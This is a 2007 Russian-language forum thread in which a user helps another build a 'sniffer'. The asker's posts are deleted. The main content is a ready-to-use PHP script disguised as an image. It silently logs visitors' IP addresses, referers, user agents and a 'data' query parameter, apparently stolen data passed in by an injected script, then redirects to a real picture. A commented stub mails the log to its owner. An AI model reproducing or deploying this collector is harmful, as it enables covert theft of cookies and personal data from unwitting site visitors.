PDA

Просмотр полной версии : Помогите со сниффером…


g-warning
31.12.2007, 21:37
del

.:EnoT:.
31.12.2007, 21:47
1)
<?
$log_file = "log.txt"; //файл лога
if (!file_exists($log_file)) { $fo = fopen($log_file, "w"); fclose($fo); }
$fmsg = file($log_file);
$count_msg = count($fmsg);
for($i = $count_msg; $i >= 0 ;$i--) echo $fmsg[$i];
?>
Это у тебя и будет вывод верх ногами :)

2)Функция mail() к твоим услугам. Всё просто до жути, поэтому не вижу смысла объяснять.

3)В файле картинки сделай вот так:
$log_file = "log.txt";// Лог файл
$msg_count = 30; // количество записей
$fl = file($msg_file);
$count_fl = count($fl);
if ($count_fl >= $msg_count)
{
$fw = fopen($msg_file, "w");
for($i=1;$i<$msg_count;$i++) fwrite($fw, trim($fl[$i])."\r\n");
}
# Длаее записываешь данные в лог

g-warning
31.12.2007, 21:57
del

.:EnoT:.
31.12.2007, 21:58
вот твой скрипт, я сделал.....может что-то неправильно натворил, прост я уже начинаю отмечать НГ :D
<?php

$date=date("d/m/Y");
$time=date("H:i");
$day=date("D");
$ip=getenv("REMOTE_ADDR");
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$unreal_ip=getenv("HTTP_CLIENT_IP");
$host=getenv("HTTP_HOST");
$referer=getenv("HTTP_REFERER");
$agent=getenv("HTTP_USER_AGENT");
$param=$_GET['data'];
$query=$_SERVER['QUERY_STRING'];

$msg_file = "log.txt";
$msg_count = 30;
$fl = file($msg_file);
$count_fl = count($fl);
if ($count_fl >= $msg_count)
{
$fw = fopen($msg_file, "w");
for($i=1;$i<$msg_count;$i++) fwrite($fw, trim($fl[$i])."\r\n");
}

$fp = fopen($msg_file,"a");
fputs($fp,"[ $date ] [ $time ] [ $day ] [ $host ] [ $referer ] [ $ip ] [ $agent ] [ $real_ip ] [ $unreal_ip ] [ $param ]
[ $query ]
");
fclose($fp);
#Тут отправляешь письмо на мыло, писать не буду код, в лом
/*
mail();
*/


header('Location: image.png');
?>

вывод данных я выше писал как сделать!

С наступающим! :)